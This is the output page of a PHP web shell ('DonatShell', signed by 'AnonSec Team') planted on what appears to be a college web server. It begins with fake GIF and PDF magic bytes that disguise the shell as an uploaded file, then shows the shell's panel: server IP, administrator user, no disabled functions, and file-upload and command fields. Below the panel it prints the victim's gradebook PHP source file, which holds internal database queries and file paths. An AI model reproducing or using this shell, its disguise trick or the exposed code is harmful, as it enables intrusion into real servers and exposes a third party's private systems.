GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/nginx/html/Gradebook/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/nginx/html/Gradebook/EvaluationSubmission_BEGIN.phpinc
<?
// Gradebook/EvaluationSubmission_BEGIN.phpinc
// BEGIN Evaluation submission start code.

require('Course/courseInfo.phpinc');
require('../../classInfo.phpinc');
$d_O_EvaluationSubmission_BEGIN = d_O();
#d_On();

#d_Var('$_POST',$_POST);
if ( !isset($gradeNote) ) { $gradeNote = ''; }
if ( $gradeNote !== false ) { $addNote = true; } else { $addNote = false; }
#d_Var('$gradeNote',$gradeNote,'d');

// Set variables if not set.
// Set $showEvaluationVariables = true to display evaluation variable values.
// Sets:
//          $classId = classId
//      $classNumber = course number.
//     $classSection = class section number.

//     $evaluationId = the evaluationId.
//   $evaluationInfo = evaluation info.
//   $evaluationName = evaluation TYPE and two digit number.
// $evaluationNumber = evaluation #.
//  $evaluationTitle = $evaluationInfo['evaluationDescription'];
//   $evaluationType = evaluation TYPE.

//        $f_classId = classId.
//            $f_eId = evaluationId.
//        $f_message = submission message.
//            $f_sId = studentId.
//            $f_uId = student userId.

//        $gradeNote = grade or submission note.

//     $saveFilename = base save filename (includes '-Labnn').
//            $title = the page title.
//   $uploadFilename = name for the upload file.
//     $userFileName = base filename made from full name
//    $userFirstName = first name.
//     $userFullName = full name.
//           $userId = student userId.
//     $userLastName = last name.
//    $userShortName = Four character name consisting of the first 3 characters of the first name plus the last name initial. If the first name is too short more last name characters are added. Uppercase is retained.

#@d_Var('$evaluationName',$evaluationName,'d');
#@d_Var('$evaluationNumber',$evaluationNumber,'d');
#@d_Var('$evaluationType',$evaluationType,'d');

if ( !isset($disabled) ) $disabled = '';

if ( !isset($evaluationId) ) { // Is the $evaluationId set?
	
	// Check form values for classId, eId, sId, and uId.
	$f_classId = formValue('classId');
	$f_eId = formValue('eId');
	$f_sId = formValue('sId');
	if ( !$f_sId ) $f_sId = $_SESSION['userStudentId'];
	
	// Set $userId.
	$f_uId = formValue('uId');
	#d_Var('$f_uId',$f_uId,'d');
	if ( !$f_uId ) {
		$query = "
				SELECT userId
					FROM `user`
				 WHERE userStudentId = '".query_safe($f_sId)."'
		";
		$userIdResult = query_do($query);
		$userIdResultCount = $_SESSION['qry']['count'];
		if ($userIdResultCount) {
			mysqli_data_seek($userIdResult, 0);
			$userIdRow = mysqli_fetch_assoc($userIdResult);
			$f_uId = $userIdRow['userId'];
		} else {
			$f_uId = $_SESSION['userId'];
		}
	}
	$userId = $f_uId;
	
	d_Var('$f_sId',$f_sId);
	d_Var('$f_eId',$f_eId);
	d_Var('$f_classId',$f_classId);
	
	// Ensure $classId is set.
	if ( !$f_classId ) {
		// Set the $classId.
		// Get courseIdList.
		#d_Var('$courseNumber',$courseNumber,'d');
		if ( strpos($f_courseNumber,'CST') !== false ) { $courseNumberOther = str_replace('CST','CST',$courseNumber); } else { $courseNumberOther = str_replace('MMDT','CST',$courseNumber); }
		#d_Var('$courseNumberOther',$courseNumberOther,'d');
		$query = "
				SELECT courseId
					FROM `course`
				 WHERE ( courseNumber = '".query_safe($courseNumber)."' OR courseNumber = '".query_safe($courseNumberOther)."' )
					 AND course.userId = ".$Instructor['Id']."
		";
		d_Var('courseIdResult',$query,'q');
		$courseIdResult = query_do($query);
		$courseIdCount = $_SESSION['qry']['count'];
		d_Var('$courseIdResult',$courseIdResult,'');
		$courseIdList = '';
		if ($courseIdCount) {
			$courseIdList = query_to_list($courseIdResult);
		} else {
			$courseIdList = 0;
		}
		d_Var('$courseIdList',$courseIdList,'');
		// Get classIdList.
		$query = "
				SELECT classId
					FROM `class`
				 WHERE courseId IN ( ".$courseIdList." )
					 AND YRTR = '".query_safe($_SESSION['YRTR']['User'])."'
			ORDER BY classSection
		";
		d_Var('classIdResult',$query,'q');
		$classIdResult = query_do($query);
		$classIdCount = $_SESSION['qry']['count'];
		#d_Var('$classIdResult',$classIdResult,'d');
		if ($classIdCount) {
			$classIdList = query_to_list($classIdResult);
		} else {
			$classIdList = 0;
		}
		#d_Var('$classIdList',$classIdList,'d');
		// Get classId for student.
		
		$query = "
				SELECT classId
					FROM `classstudent`
				 WHERE classId IN ( ".$classIdList." )
					 AND userStudentId = '".query_safe($f_sId)."'
		";
		d_Var('classstudentResult',$query,'q');
		$classstudentResult = query_do($query);
		$classstudentCount = $_SESSION['qry']['count'];
		d_Var('$classstudentResult',$classstudentResult,'');
		if ( $classstudentCount ) {
			mysqli_data_seek($classstudentResult, 0);
			$classstudentInfo = mysqli_fetch_assoc($classstudentResult);
			$classId = $classstudentInfo['classId'];
		} else {
			if ( in_array('ADMIN',$_SESSION['userPermissions']) || in_array('INSTRUCTOR',$_SESSION['userPermissions']) ) { // Allow all instructors to see the evaluation. // || $_SESSION['userId'] == $Instructor['Id']
				$classId = listGetAt($classIdList,0);
			} else {
				$classId = 0;
			}
		}
	} else {
		$classId = $f_classId;
	}
	#d_Var('$classIdList',$classIdList,'d');
	#d_Var('$classId',$classId,'d');
	#$classId = 0; // UNCOMMENT to test not in class.
	
	if ( $classId ) {
		// Get classNumber and classSection.
		$query = "
				SELECT classSection
						 , courseNumber
					FROM `class`
					JOIN `course` ON course.courseId = class.courseId
				 WHERE classId = ".$classId."
		";
		#d_Var('classSectionResult',$query,'dq');
		$classSectionResult = query_do($query);
		$classSectionCount = $_SESSION['qry']['count'];
		if ( $classSectionCount ) {
			mysqli_data_seek($classSectionResult, 0);
			$classSectionInfo = mysqli_fetch_assoc($classSectionResult);
			#d_Var('$classSectionInfo',$classSectionInfo,'d');
			$classNumber = $classSectionInfo['courseNumber'];
			$classSection = $classSectionInfo['classSection'];
		}
		// Get evaluationId.
		$query = "
				SELECT *
					FROM `evaluation`
				 WHERE classId = ".$classId."
					 AND evaluationTitle = '".query_safe($evaluationName)."'
		";
		d_Var('evaluationResult',$query,'q');
		$evaluationResult = query_do($query);
		$evaluationResultCount = $_SESSION['qry']['count'];
		#d_Var('$evaluationResult',$evaluationResult,'d');
		if ($evaluationResultCount) {
			mysqli_data_seek($evaluationResult, 0);
			$evaluationInfo = mysqli_fetch_assoc($evaluationResult);
			#d_Var('$evaluationInfo',$evaluationInfo,'d');
			$evaluationId = $evaluationInfo['evaluationId'];
		} else {
			$evaluationInfo = false;
			$evaluationId = 0;
		}
		#d_Var('$evaluationId',$evaluationId,'d');
		$evaluationTitle = $evaluationInfo['evaluationDescription'];
		#$evaluationInfo = false; // UNCOMMENT to test evaluationInfo error.
		if ( !$evaluationInfo ) {
		?>
			<p>
			<b class="error">Programming Error: The evaluation information was not found.</b><br>
			Please contact <?=$Instructor['Name']?> and describe this error.
			</p>
		<?
			require('common/pageFooter.phpinc');
		}
		
		// Check for previous submission and grade.
		$require_EvaluationSubmission_BEGIN_Check_for_grade_or_submission = true;
	} else {
		$require_EvaluationSubmission_BEGIN_Check_for_grade_or_submission = false;
		$classNumber = $courseNumber;
	}
	#d_Var('$classNumber',$classNumber,'d');
} // Is the $evaluationId set?

$title = $evaluationType." ".$evaluationNumber;
if ( isset($evaluationTitle) ) $title .= ' - '.$evaluationInfo['evaluationDescription'];
$headTitle = '_CST_ - '.$courseNumber.' '.$courseTitle.' - '.$title;
$pageTitle = $courseNumber.' '.$courseTitle.'<br>'.$title;
$pageMenu = 'Course/courseMenu.phpinc';
$smallTitle = true;
#$sectionTitle = $courseNumber.' '.$courseTitle.' - '.$title.' - '.userName($userId);
$sectionTitle = $title;//.' - '.userName($userId);

if ( $classId == 0 ) require('common/Class/StudentNotInClass.phpinc');

$userFirstName = userFirstName($userId);;
$userLastName = userLastName($userId);
$userFullName = userName($userId);

if ( $userLastName != '' ){
	$userShortName = substr($userFirstName,0,3);
	$userShortName .= substr($userLastName,0,4-strlen($userShortName));
} else {
	$userShortName = substr($userFirstName,0,3);
}

#$userFileName = fileSafe(str_replace(array("'","-"," "),"",$userFullName)); // Remove non-alpha characters.
$userFileName = fileSafe(preg_replace("/[^a-zA-Z]/", '', $userFullName)); // Remove non-alpha characters.

$saveFilename = fileSafe($userFileName.'_'.$evaluationName);
$saveFileName_A = $saveFilename.'_A';
$saveFileName_B = $saveFilename.'_B';

$uploadFilename = fileSafe($classNumber.'_'.$saveFilename.'.zip');

require('EvaluationDueDate.phpinc');

#d_Var('$f_form',$f_form,'',false,true);
#d_Line('form_'.$courseNumber.'_'.$evaluationName,'',false,true);
if ( $f_form == 'form_'.$courseNumber.'_'.$evaluationName && !isset($EvaluationSubmission_PROCESS) ) {
	require('Gradebook/EvaluationSubmission_PROCESS.phpinc'); // Proccess the submission.
	// Check for previous submission and grade.
	$require_EvaluationSubmission_BEGIN_Check_for_grade_or_submission = true;
} else {
	$f_message = '';
}
if ( $require_EvaluationSubmission_BEGIN_Check_for_grade_or_submission ) {
	require('Gradebook/EvaluationSubmission_BEGIN_Check_for_grade_or_submission.phpinc');
	#d_Var('$gradeNote',$gradeNote,'d');
} else {
	$graded = false;
}
if ( !isset($noPageHeader) ) {
	require('common/pageHeader.phpinc');
	/** /?><span style="color:white;">Loaded /common/pageHeader.phpinc from <?=__FILE__?>:<?=__LINE__?>.</span><?/**/
	require('common/sectionHeader.phpinc');
	require('Gradebook/EvaluationSubmission_BEGIN_FORM.phpinc');
}
	$isGB = false;
	$f_classId = $classId;
	$evaluationIdList = $evaluationId;
	require('Gradebook/evaluationStudentInfo.phpinc');

$pageTitle = $evaluationType.' '.$evaluationNumber.' - '.$userFullName;
$pageTitle_A = $evaluationType.' '.$evaluationNumber.' - '.$userFullName.' - Page A';
$pageTitle_B = $evaluationType.' '.$evaluationNumber.' - '.$userFullName.' - Page B';

// Configure $defaultDrive, $dataFolder, $dirSep, and $apacheFolder
require('Gradebook/EvaluationSubmission_BEGIN_folders.phpinc');

#$debug_backtrace = debug_backtrace();
#d_Var('debug_backtrace',$debug_backtrace);
#echo $dueText;

if ( $_SESSION['userId'] == -1 ) { $showEvaluationVariables = true; }
if (isset($showEvaluationVariables) && $showEvaluationVariables ) {
	$d_O_showEvaluationVariables = d_O();
	d_On();
	d_Var('$classId',$classId,'/');
	d_Var('$classNumber',$classNumber,'l');
	d_Var('$classSection',$classSection,'l');
	d_Var('$evaluationId',$evaluationId,'l');
	d_Var('$evaluationInfo',$evaluationInfo,'l');
	d_Var('$evaluationName',$evaluationName,'l');
	d_Var('$evaluationNumber',$evaluationNumber,'l');
	d_Var('$evaluationTitle',$evaluationTitle,'l');
	d_Var('$evaluationType',$evaluationType,'l');
	d_Var('$f_classId',$f_classId,'l');
	d_Var('$f_eId',$f_eId,'l');
	d_Var('$f_message',$f_message,'l');
	d_Var('$f_sId',$f_sId,'l');
	d_Var('$f_uId',$f_uId,'l');
	d_Var('$gradeNote',$gradeNote,'l');
	d_Var('$userFileName',$userFileName,'l');
	d_Var('$saveFilename',$saveFilename,'l');
	d_Var('$uploadFilename',$uploadFilename,'l');
	d_Var('$title',$title,'l');
	d_Var('$userFullName',$userFullName,'l');
	d_Var('$userFirstName',$userFirstName,'l');
	d_Var('$userLastName',$userLastName,'l');
	d_Var('$userShortName',$userShortName,'l');
	d_Var('$userId',$userId,'l');
	d_Var('$sInfo',$sInfo,'l');
	if ( !$d_O_showEvaluationVariables ) d_Off();
}
#d_Var('$gradeNote',$gradeNote,'d');
if ( $addNote ) {
	$gradeNote .= 
	'<div class="hp note">
	I have added a capability to assignment pages:
	You can now <b>check-off</b> the steps by clicking on the step numbers.
	<br>This is not persistant. If you reload the page all steps begin as un-checked again.
	</div>';	
}

if ( !$d_O_EvaluationSubmission_BEGIN ) d_Off();

// END Evaluation submission start code.
?>


Anon7 - 2022
AnonSec Team